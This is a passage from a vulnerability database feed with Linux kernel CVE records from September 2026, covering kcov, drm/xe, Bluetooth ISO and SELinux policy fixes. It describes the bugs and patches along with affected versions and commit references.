                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nkcov: fix data corruption and race conditions on PREEMPT_RT\n\nsyzbot is reporting KCOV state corruption on PREEMPT_RT kernels, for the\ntemporary storage used for saving/restoring remote KCOV state is currently\nallocated as the per-CPU area.\n\nOn PREEMPT_RT kernels, softirq handlers run as preemptible task threads\n(e.g., ksoftirqd). If a softirq context preempts a task running a remote\nKCOV session, it safely saves the task\u0027s state into the per-CPU area.\nHowever, if that softirq thread is subsequently preempted by a higher-\npriority softirq thread on the same CPU, the second softirq will overwrite\nthe same per-CPU area, permanently destroying the original task\u0027s KCOV\nstate.\n\nFix this data corruption by moving the temporary storage from the per-CPU\narea to the per-thread area. Since each softirq thread now owns its own\ntask context, nested softirq preemption no longer causes data overwrites.\n\nNote that while the temporary storage is now on a per-thread basis, the\nper-CPU kcov_percpu_data.lock must be retained, for we need to ensure that\nkcov_remote_start() and kcov_remote_stop() operate atomically without\nracing against asynchronous interrupts that manipulate the current task\u0027s\nKCOV state.\n\nIt is likely that GFP_KERNEL allocation by vmalloc_node() in kcov_init()\nhas already called panic() before returning NULL, for there will be no\nOOM-killable userspace processes when __init function of built-in module\nruns. But this patch also fixes crashing the kernel when vmalloc_node()\nin kcov_init() returned NULL, for kcov_init() left per-CPU irq_area == NULL\nbut kcov_remote_start() depends on per-CPU irq_area != NULL, resulting in\n\n  (1) doing vmalloc() in kcov_remote_start() despite !in_task() context\n\n  (2) out-of-array-bounds access if (1) succeeded but\n      kcov-\u003eremote_size \u003c CONFIG_KCOV_IRQ_AREA_SIZE\n\n  (3) always leak memory allocated by (1), eventually killing all\n      OOM-killable userspace processes\n\nproblems."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:13:14.587Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/ef7048d8a614c5f5a9b20513a5428101a744514e"
        },
        {
          "url": "https://git.kernel.org/stable/c/8ed3ddf23d39bf5338406bd9f8863d44748cf6ce"
        },
        {
          "url": "https://git.kernel.org/stable/c/5dc59fc959b2b5742985d7ef24bccd1868217dc2"
        },
        {
          "url": "https://git.kernel.org/stable/c/a2fb8222cde23b0001812ed3acb7c0ea36dd94e2"
        },
        {
          "url": "https://git.kernel.org/stable/c/18799e858b407bf355383c9dd6c06477aa437134"
        },
        {
          "url": "https://git.kernel.org/stable/c/e11f5b48c82703242a3be7a7ae4b4940b4cb4610"
        },
        {
          "url": "https://git.kernel.org/stable/c/22670d1552fe155822b2abf91f920925f7d067b4"
        },
        {
          "url": "https://git.kernel.org/stable/c/f8c9a3ec36b4ee3d4701b9be08f40e7bfbf89761"
        },
        {
          "url": "https://git.kernel.org/stable/c/2eed77fdcb0cc48e8eccb2bcd4b7f2c6d650e84c"
        }
      ],
      "title": "kcov: fix data corruption and race conditions on PREEMPT_RT",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80916",
    "datePublished": "2026-09-09T16:13:14.587Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:13:14.587Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80915 (GCVE-0-2026-80915)

    Vulnerability from nvd – Published: 2026-09-09 16:13 – Updated: 2026-09-09 16:13
    VLAI
    Title
    drm/xe: Fix DPT allocation paths.
    Summary
    In the Linux kernel, the following vulnerability has been resolved: drm/xe: Fix DPT allocation paths. Remove the fallback for VRAM to system memory, I tested it and that doesn't work at all, only a black screen with pipe fault errors were observed. On systems with media GT, extra latency is added when accessing stolen memory when the GT is in MC6. Since we additionally aren't counting how much memory is used for stolen and we could in theory fill up the entire stolen area with DPT's, avoid using stolen and only use the default memory region. Using stolen may also result in random system hangs under load. (cherry picked from commit a196406a3831291598fe8e73245914f7acffdfe0)
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 775d0adc01a55fe0458139330415d86bb3533efe , < 491c499295fb0b90308b230b0a1075dcdf7f4d12 (git)
    Affected: 775d0adc01a55fe0458139330415d86bb3533efe , < f03415030579163f791c978741af7f1f2f6510b7 (git)
    Affected: 775d0adc01a55fe0458139330415d86bb3533efe , < c457e2c845ccbf2224386029f3da4937ba424db0 (git)
    Affected: 775d0adc01a55fe0458139330415d86bb3533efe , < fc648757908304aedbad74f74bf58192aec383db (git)
    Affected: 4854ac2f88e2168ee4da2b152c6711772a8149aa (git)
    Affected: 6.11.3 , < 6.12 (semver)
    		Create a notification for this product.
    Linux Linux Affected: 6.12
    Unaffected: 0 , < 6.12 (semver)
    Unaffected: 6.12.106 , ≤ 6.12.* (semver)
    Unaffected: 6.18.47 , ≤ 6.18.* (semver)
    Unaffected: 7.1.11 , ≤ 7.1.* (semver)
    Unaffected: 7.2 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/xe/display/xe_fb_pin.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "491c499295fb0b90308b230b0a1075dcdf7f4d12",
              "status": "affected",
              "version": "775d0adc01a55fe0458139330415d86bb3533efe",
              "versionType": "git"
            },
            {
              "lessThan": "f03415030579163f791c978741af7f1f2f6510b7",
              "status": "affected",
              "version": "775d0adc01a55fe0458139330415d86bb3533efe",
              "versionType": "git"
            },
            {
              "lessThan": "c457e2c845ccbf2224386029f3da4937ba424db0",
              "status": "affected",
              "version": "775d0adc01a55fe0458139330415d86bb3533efe",
              "versionType": "git"
            },
            {
              "lessThan": "fc648757908304aedbad74f74bf58192aec383db",
              "status": "affected",
              "version": "775d0adc01a55fe0458139330415d86bb3533efe",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "4854ac2f88e2168ee4da2b152c6711772a8149aa",
              "versionType": "git"
            },
            {
              "lessThan": "6.12",
              "status": "affected",
              "version": "6.11.3",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/xe/display/xe_fb_pin.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.12"
            },
            {
              "lessThan": "6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.106",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.47",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.2",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.106",
                  "versionStartIncluding": "6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.47",
                  "versionStartIncluding": "6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.11",
                  "versionStartIncluding": "6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2",
                  "versionStartIncluding": "6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.11.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe: Fix DPT allocation paths.\n\nRemove the fallback for VRAM to system memory, I tested it and that\ndoesn\u0027t work at all, only a black screen with pipe fault errors were\nobserved.\n\nOn systems with media GT, extra latency is added when accessing stolen\nmemory when the GT is in MC6. Since we additionally aren\u0027t counting how\nmuch memory is used for stolen and we could in theory fill up the\nentire stolen area with DPT\u0027s, avoid using stolen and only use the\ndefault memory region.\n\nUsing stolen may also result in random system hangs under load.\n\n(cherry picked from commit a196406a3831291598fe8e73245914f7acffdfe0)"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:13:13.979Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/491c499295fb0b90308b230b0a1075dcdf7f4d12"
        },
        {
          "url": "https://git.kernel.org/stable/c/f03415030579163f791c978741af7f1f2f6510b7"
        },
        {
          "url": "https://git.kernel.org/stable/c/c457e2c845ccbf2224386029f3da4937ba424db0"
        },
        {
          "url": "https://git.kernel.org/stable/c/fc648757908304aedbad74f74bf58192aec383db"
        }
      ],
      "title": "drm/xe: Fix DPT allocation paths.",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80915",
    "datePublished": "2026-09-09T16:13:13.979Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:13:13.979Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80914 (GCVE-0-2026-80914)

    Vulnerability from nvd – Published: 2026-09-09 16:10 – Updated: 2026-09-09 16:10
    VLAI
    Title
    Bluetooth: ISO: fix use-after-free of listener socket in iso_conn_ready
    Summary
    In the Linux kernel, the following vulnerability has been resolved: Bluetooth: ISO: fix use-after-free of listener socket in iso_conn_ready iso_conn_ready() looks up the BIS listener socket with iso_get_sock(), which takes a reference, and then, without re-checking its state, creates a child socket from it: parent = iso_get_sock(hdev, ...); if (!parent) return; lock_sock(parent); sk = iso_sock_alloc(sock_net(parent), NULL, BTPROTO_ISO, ...); ... iso_chan_add(conn, sk, parent); ... release_sock(parent); sock_put(parent); If the listener socket is closed concurrently, between iso_get_sock() and lock_sock(), the reference taken by iso_get_sock() may be the last one: the close path drops the link-list reference, and once iso_conn_ready() drops its own reference at the end of the function the socket is freed. The child socket, however, is already linked to the freed parent, and a later disconnect of the child runs iso_chan_del() -> bt_accept_unlink(), which dereferences the dangling parent pointer into the freed accept queue (a use-after-free). The same dangling pointer is also dereferenced through parent->***() in iso_chan_del(). Fix it the same way the connected (non-BIS) path was fixed in commit 0d255e63fcf3 ("Bluetooth: ISO: hold sk properly in iso_conn_ready"): after taking the socket lock, re-check that the parent is still a listening, alive socket, and bail out otherwise.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: ccf74f2390d60a2f9a75ef496d2564abb478f46a , < 2387cd06a2c0b416f05028b02bba1089f54c28d9 (git)
    Affected: ccf74f2390d60a2f9a75ef496d2564abb478f46a , < 49fd7116f76b860b230843700fb7423ab5331e1f (git)
    Affected: ccf74f2390d60a2f9a75ef496d2564abb478f46a , < 03288b7447c9e572f8ab82fc29cfb4ca719ab210 (git)
    Affected: ccf74f2390d60a2f9a75ef496d2564abb478f46a , < 560bef609fa5992745929e8d7d458b9d88dd2830 (git)
    		Create a notification for this product.
    Linux Linux Affected: 6.0
    Unaffected: 0 , < 6.0 (semver)
    Unaffected: 6.12.109 , ≤ 6.12.* (semver)
    Unaffected: 6.18.50 , ≤ 6.18.* (semver)
    Unaffected: 7.2.4 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/iso.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2387cd06a2c0b416f05028b02bba1089f54c28d9",
              "status": "affected",
              "version": "ccf74f2390d60a2f9a75ef496d2564abb478f46a",
              "versionType": "git"
            },
            {
              "lessThan": "49fd7116f76b860b230843700fb7423ab5331e1f",
              "status": "affected",
              "version": "ccf74f2390d60a2f9a75ef496d2564abb478f46a",
              "versionType": "git"
            },
            {
              "lessThan": "03288b7447c9e572f8ab82fc29cfb4ca719ab210",
              "status": "affected",
              "version": "ccf74f2390d60a2f9a75ef496d2564abb478f46a",
              "versionType": "git"
            },
            {
              "lessThan": "560bef609fa5992745929e8d7d458b9d88dd2830",
              "status": "affected",
              "version": "ccf74f2390d60a2f9a75ef496d2564abb478f46a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/iso.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.0"
            },
            {
              "lessThan": "6.0",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.109",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.50",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.109",
                  "versionStartIncluding": "6.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.50",
                  "versionStartIncluding": "6.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.4",
                  "versionStartIncluding": "6.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "6.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: ISO: fix use-after-free of listener socket in iso_conn_ready\n\niso_conn_ready() looks up the BIS listener socket with iso_get_sock(),\nwhich takes a reference, and then, without re-checking its state,\ncreates a child socket from it:\n\n    parent = iso_get_sock(hdev, ...);\n    if (!parent)\n        return;\n\n    lock_sock(parent);\n    sk = iso_sock_alloc(sock_net(parent), NULL, BTPROTO_ISO, ...);\n    ...\n    iso_chan_add(conn, sk, parent);\n    ...\n    release_sock(parent);\n    sock_put(parent);\n\nIf the listener socket is closed concurrently, between iso_get_sock()\nand lock_sock(), the reference taken by iso_get_sock() may be the last\none: the close path drops the link-list reference, and once\niso_conn_ready() drops its own reference at the end of the function the\nsocket is freed.  The child socket, however, is already linked to the\nfreed parent, and a later disconnect of the child runs iso_chan_del()\n-\u003e bt_accept_unlink(), which dereferences the dangling parent pointer\ninto the freed accept queue (a use-after-free).  The same dangling\npointer is also dereferenced through parent-\u003e***() in\niso_chan_del().\n\nFix it the same way the connected (non-BIS) path was fixed in commit\n0d255e63fcf3 (\"Bluetooth: ISO: hold sk properly in iso_conn_ready\"):\nafter taking the socket lock, re-check that the parent is still a\nlistening, alive socket, and bail out otherwise."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:10:58.675Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2387cd06a2c0b416f05028b02bba1089f54c28d9"
        },
        {
          "url": "https://git.kernel.org/stable/c/49fd7116f76b860b230843700fb7423ab5331e1f"
        },
        {
          "url": "https://git.kernel.org/stable/c/03288b7447c9e572f8ab82fc29cfb4ca719ab210"
        },
        {
          "url": "https://git.kernel.org/stable/c/560bef609fa5992745929e8d7d458b9d88dd2830"
        }
      ],
      "title": "Bluetooth: ISO: fix use-after-free of listener socket in iso_conn_ready",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80914",
    "datePublished": "2026-09-09T16:10:58.675Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:10:58.675Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80913 (GCVE-0-2026-80913)

    Vulnerability from nvd – Published: 2026-09-04 17:19 – Updated: 2026-09-04 17:19
    VLAI
    Title
    selinux: require every boolean value to be defined
    Summary
    In the Linux kernel, the following vulnerability has been resolved: selinux: require every boolean value to be defined p_bools.nprim comes from the policy image independently of how many booleans follow it, and cond_index_bool() fills bool_val_to_struct[] at value - 1, so a count larger than the values present leaves NULL entries. Every user of that array then walks it by index and dereferences each entry: cond_evaluate_expr() on the access-vector path, security_get_bools() and security_get_bool_value() behind selinuxfs, and security_set_bools(). A sparse class value is absorbed by policydb_class_isvalid() and its siblings; booleans have no such predicate, and no consumer that could use one. Reject a boolean value that no boolean defines, once, where the array is built. Conforming policies define every boolean they declare and are unaffected.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 4d0ece18e648bd4362704fd087249ac697f2b7fb (git)
    Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 3938c8494d3c5d84a53fd7d1966ae9dde46cb5f8 (git)
    Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 4dfb997c60f7951011d3dcbee926e3a7f80d8a76 (git)
    Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 3161daa3f1e3ca68f8b2b8fa01720b5a8dcc6b40 (git)
    Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 740012aebdb8311332bf66e2aabf453ba73c2c45 (git)
    Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 42a7107f99d86a7524c37f108047dfa3db096ab5 (git)
    Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < ed901e88aa3fb3d5d7b0b52c2ee3073209df9bec (git)
    Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < a93d37a09b863810653f93d371fb197457d59deb (git)
    		Create a notification for this product.
    Linux Linux Affected: 2.6.12
    Unaffected: 0 , < 2.6.12 (semver)
    Unaffected: 5.10.266 , ≤ 5.10.* (semver)
    Unaffected: 5.15.217 , ≤ 5.15.* (semver)
    Unaffected: 6.1.184 , ≤ 6.1.* (semver)
    Unaffected: 6.6.153 , ≤ 6.6.* (semver)
    Unaffected: 6.12.105 , ≤ 6.12.* (semver)
    Unaffected: 6.18.46 , ≤ 6.18.* (semver)
    Unaffected: 7.1.10 , ≤ 7.1.* (semver)
    Unaffected: 7.2 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "security/selinux/ss/policydb.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "4d0ece18e648bd4362704fd087249ac697f2b7fb",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "3938c8494d3c5d84a53fd7d1966ae9dde46cb5f8",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "4dfb997c60f7951011d3dcbee926e3a7f80d8a76",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "3161daa3f1e3ca68f8b2b8fa01720b5a8dcc6b40",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "740012aebdb8311332bf66e2aabf453ba73c2c45",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "42a7107f99d86a7524c37f108047dfa3db096ab5",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "ed901e88aa3fb3d5d7b0b52c2ee3073209df9bec",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "a93d37a09b863810653f93d371fb197457d59deb",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "security/selinux/ss/policydb.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.266",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.217",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.184",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.105",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.46",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.2",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.266",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.217",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.184",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.153",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.105",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.46",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.10",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nselinux: require every boolean value to be defined\n\np_bools.nprim comes from the policy image independently of how many\nbooleans follow it, and cond_index_bool() fills bool_val_to_struct[] at\nvalue - 1, so a count larger than the values present leaves NULL entries.\nEvery user of that array then walks it by index and dereferences each\nentry: cond_evaluate_expr() on the access-vector path,\nsecurity_get_bools() and security_get_bool_value() behind selinuxfs, and\nsecurity_set_bools(). A sparse class value is absorbed by\npolicydb_class_isvalid() and its siblings; booleans have no such\npredicate, and no consumer that could use one.\n\nReject a boolean value that no boolean defines, once, where the array is\nbuilt. Conforming policies define every boolean they declare and are\nunaffected."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-04T17:19:23.975Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/4d0ece18e648bd4362704fd087249ac697f2b7fb"
        },
        {
          "url": "https://git.kernel.org/stable/c/3938c8494d3c5d84a53fd7d1966ae9dde46cb5f8"
        },
        {
          "url": "https://git.kernel.org/stable/c/4dfb997c60f7951011d3dcbee926e3a7f80d8a76"
        },
        {
          "url": "https://git.kernel.org/stable/c/3161daa3f1e3ca68f8b2b8fa01720b5a8dcc6b40"
        },
        {
          "url": "https://git.kernel.org/stable/c/740012aebdb8311332bf66e2aabf453ba73c2c45"
        },
        {
          "url": "https://git.kernel.org/stable/c/42a7107f99d86a7524c37f108047dfa3db096ab5"
        },
        {
          "url": "https://git.kernel.org/stable/c/ed901e88aa3fb3d5d7b0b52c2ee3073209df9bec"
        },
        {
          "url": "https://git.kernel.org/stable/c/a93d37a09b863810653f93d371fb197457d59deb"
        }
      ],
      "title": "selinux: require every boolean value to be defined",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80913",
    "datePublished": "2026-09-04T17:19:23.975Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-04T17:19:23.975Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80912 (GCVE-0-2026-80912)

    Vulnerability from nvd – Published: 2026-09-04 17:19 – Updated: 2026-09-04 17:19
    VLAI
    Title
    selinux: reject an unclaimed class value in security_get_classes()
    Summary
    In the Linux kernel, the following vulnerability has been resolved: selinux: reject an unclaimed class value in security_get_classes() security_get_classes() sizes an array by p_classes.nprim and fills it at value - 1, so a class value the policy never defines leaves a NULL. sel_make_classes() passes every entry to sel_make_dir(), reaching the same d_alloc_name() dereference as the permission array. The class symbol table is allowed to be sparse (policydb_class_isvalid() exists to absorb that), but this getter builds its own array straight from the hash table and has no such predicate. Fail the lookup when a value went unclaimed instead of handing out the NULL. Conforming policies define every class they declare and are unaffected.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 55fcf09b3fe4325c9395ebbb0322a547a157ebc7 , < e0285bb152211c00900136b66d4b420c14a59094 (git)
    Affected: 55fcf09b3fe4325c9395ebbb0322a547a157ebc7 , < 099869e9343a5f8c22b58497f074b34f63cbf856 (git)
    Affected: 55fcf09b3fe4325c9395ebbb0322a547a157ebc7 , < 841aea4d5a25e16273d04cd07a74142b4687e03b (git)
    Affected: 55fcf09b3fe4325c9395ebbb0322a547a157ebc7 , < d8a10899ea3c84b80de72ca8ee9039e9a5156c9a (git)
    Affected: 55fcf09b3fe4325c9395ebbb0322a547a157ebc7 , < 22b05fec62c0fe9864cfceb52f7d0f3a34d9b1dd (git)
    		Create a notification for this product.
    Linux Linux Affected: 2.6.23
    Unaffected: 0 , < 2.6.23 (semver)
    Unaffected: 6.6.153 , ≤ 6.6.* (semver)
    Unaffected: 6.12.105 , ≤ 6.12.* (semver)
    Unaffected: 6.18.46 , ≤ 6.18.* (semver)
    Unaffected: 7.1.10 , ≤ 7.1.* (semver)
